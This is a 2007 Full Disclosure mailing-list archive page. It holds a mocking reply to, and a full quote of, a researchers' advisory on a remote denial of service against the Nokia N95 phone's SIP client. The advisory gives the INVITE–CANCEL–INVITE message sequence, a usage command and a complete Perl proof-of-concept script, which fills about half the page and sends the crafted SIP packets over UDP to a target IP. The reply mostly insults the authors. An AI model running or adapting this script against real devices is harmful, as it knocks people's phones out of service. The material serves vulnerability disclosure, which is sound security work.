|
Full Disclosure
mailing list archives
Re: Nokia N95 cellphone remote DoS using the SIP Stack
From: reepex <reepex () gmail com>
Date: Wed, 5 Dec 2007 13:21:06 -0600
So almighty Phd what is your thesis exactly?
To me it seems to be 'how to run a fuzzer then write crappy perl scripts
to exploit DoS conditions'
does this properly summarize your phd credentials?
I guess you could tack on 'after writing the crappy scripts, flood mailing
lists with our crap, and get made fun of'
I am sure you will serve the academic community great one day when teach
"hacking" classes revolving around the latest editions of hacking exposed
On Dec 5, 2007 11:05 AM, Radu State <State () loria fr> wrote:
Nokia N95 cellphone remote DoS using the SIP Stack
Severity:
High – Denial of Service
Hardware:
Nokia N95
Firmware:
Tested version: Nokia RM-159 V 12.0.013
Notification:
Vulnerability found: 11 September 2007
Contact Nokia Support: 12 September 2007 / None reply Contact Nokia
Security Support: 19 September 2007 / None reply
Vulnerability Synopsis:
If the device has the SIP Phone client activated, a sequence of SIP
messages turn the device in an inconsistent state where the user is not able
to operate it anymore until it reboots.
The sequence of messages consists in 2 different SIP Dialogs where the
first initiates an INVITE transaction but immediately closes it (in an
anticipated manner). While, the second transaction initiates a normal INVITE
transaction that trigger the vulnerability of the target.
The sequence of messages is illustrated below.
X ------------------------- INVITE -----------------------> Nokiav12
X <---------------------- 100 Trying ---------------------- Nokiav12
X ------------------------- CANCEL -----------------------> Nokiav12
X <----------------- OK (to the Cancel) ------------------- Nokiav12
X <---------------- 487 Request Terminated ---------------- Nokiav12
--------New Dialog--------
X ------------------------- INVITE -----------------------> Nokiav12
X <---------------------- 100 Trying ---------------------- Nokiav12
X <---------------------- 180 Trying ---------------------- Nokiav12
---- The device does not work properly anymore ----
Impact:
A remote entity can take down all the services of the cell phone
Resolution:
As we did not get any proper reply from Nokia about the subject, the best
way will be to disable the SIP Client
Credits:
Humberto J. Abdelnur (Ph.D Student)
Radu State (Ph.D)
Olivier Festor (Ph.D)
This vulnerability was identified by the Madynes research team at INRIA
Lorraine, using KiF the Madynes VoIP fuzzer.
http://madynes.loria.fr/
Proof of Concept:
A perl script (nokiav12.pl) is attached to this mail. Before launching
it, the SIP phone has to be initialed in the target device
Command:
perl nokiav12.pl <dst_IP> <username> <SourceIp> <SourceUsername>
Eg. perl nokiav12.pl 192.168.1.119 lupilu 192.168.1.2 tucu
#!/usr/bin/perl
##################################################
# Vulnerabily discovered using KiF ~ Kiph #
# #
# Authors: #
# Humberto J. Abdelnur (Ph.D Student) #
# Radu State (Ph.D) #
# Olivier Festor (Ph.D) #
# #
# Madynes Team, LORIA - INRIA Lorraine #
# http://madynes.loria.fr #
##################################################
use IO::Socket::INET;
use String::Random;
die "Usage $0 <targetIP> <targetUser> <attackerIP> <attackerUser>"
unless ($ARGV[3]);
$targetUser = $ARGV[1];
$targetIP = $ARGV[0];
$attackerUser = $ARGV[3];
$attackerIP= $ARGV[2];
$socket=new IO::Socket::INET->new(
Proto=>'udp',
PeerPort=>5060,
PeerAddr=>$targetIP,
LocalPort=>5060);
$foo = new String::Random;
$callid= $foo->randpattern("CCccnCn");
$cseq = $foo->randregex('\d\d\d\d');
$sdp = "v=0\r
o=Lupilu 63356722367567875 63356722367567875 IN IP4 $attackerIP\r
s=-\r
c=IN IP4 $attackerIP\r
t=0 0\r
m=audio 49152 RTP/AVP 96 0 8 97 18 98 13\r
a=sendrecv\r
a=ptime:20\r
a=maxptime:200\r
a=fmtp:96 mode-change-neighbor=1\r
a=fmtp:18 annexb=no\r
a=fmtp:98 0-15\r
a=rtpmap:96 AMR/8000/1\r
a=rtpmap:0 PCMU/8000/1\r
a=rtpmap:8 PCMA/8000/1\r
a=rtpmap:97 iLBC/8000/1\r
a=rtpmap:18 G729/8000/1\r
a=rtpmap:98 telephone-event/8000/1\r
a=rtpmap:13 CN/8000/1\r
";
$sdplen= length $sdp;
$msg = "INVITE sip:$targetUser\ () $targetIP SIP/2.0\r
Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r
From: <sip:$attackerUser\ () $attackerIP>;tag=1\r
To: <sip:$targetUser\ () $targetIP>\r
Call-ID: $callid\ () $attackerIP\r
CSeq: $cseq INVITE\r
Max-Forwards: 70\r
Contact: <sip:$attackerUser\ () $attackerIP>\r
Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE, NOTIFY,
MESSAGE\r
Content-Type: application/sdp\r
Content-Length: $sdplen\r
\r
$sdp";
$socket->send($msg);
$text = '';
while (not $text =~ /^SIP\/2.0 100(.\r\n)*/ ){
$socket->recv($text,1024,0);
}
$msg = "CANCEL sip:$targetUser\ () $targetIP SIP/2.0\r
Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r
From: <sip:$attackerUser\ () $attackerIP>;tag=1\r
To: <sip:$targetUser\ () $targetIP>;tag=1\r
Call-ID: $callid\ () $attackerIP\r
CSeq: $cseq CANCEL\r
Max-Forwards: 70\r
Content-Length: 0\r
\r
";
$socket->send($msg);
time.sleep(1);
$callid= $foo->randpattern("CCccnCn");
$cseq = $foo->randregex('\d\d\d\d');
$msg = "INVITE sip:$targetUser\ () $targetIP SIP/2.0\r
Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK2\r
From: <sip:$attackerUser\ () $attackerIP>;tag=2\r
To: <sip:$targetUser\ () $targetIP>\r
Call-ID: $callid\ () $attackerIP\r
CSeq: $cseq INVITE\r
Contact: <sip:$attackerUser\ () $attackerIP>\r
Max-Forwards: 70\r
Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE, NOTIFY,
MESSAGE\r
Content-Type: application/sdp\r
Content-Length: $sdplen\r
\r
$sdp";
$socket->send($msg);
No virus found in this outgoing message.
Checked by AVG Free Edition.
Version: 7.5.503 / Virus Database: 269.16.14/1171 - Release Date:
04/12/2007 19:31
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
By Date
By Thread
Current thread:
|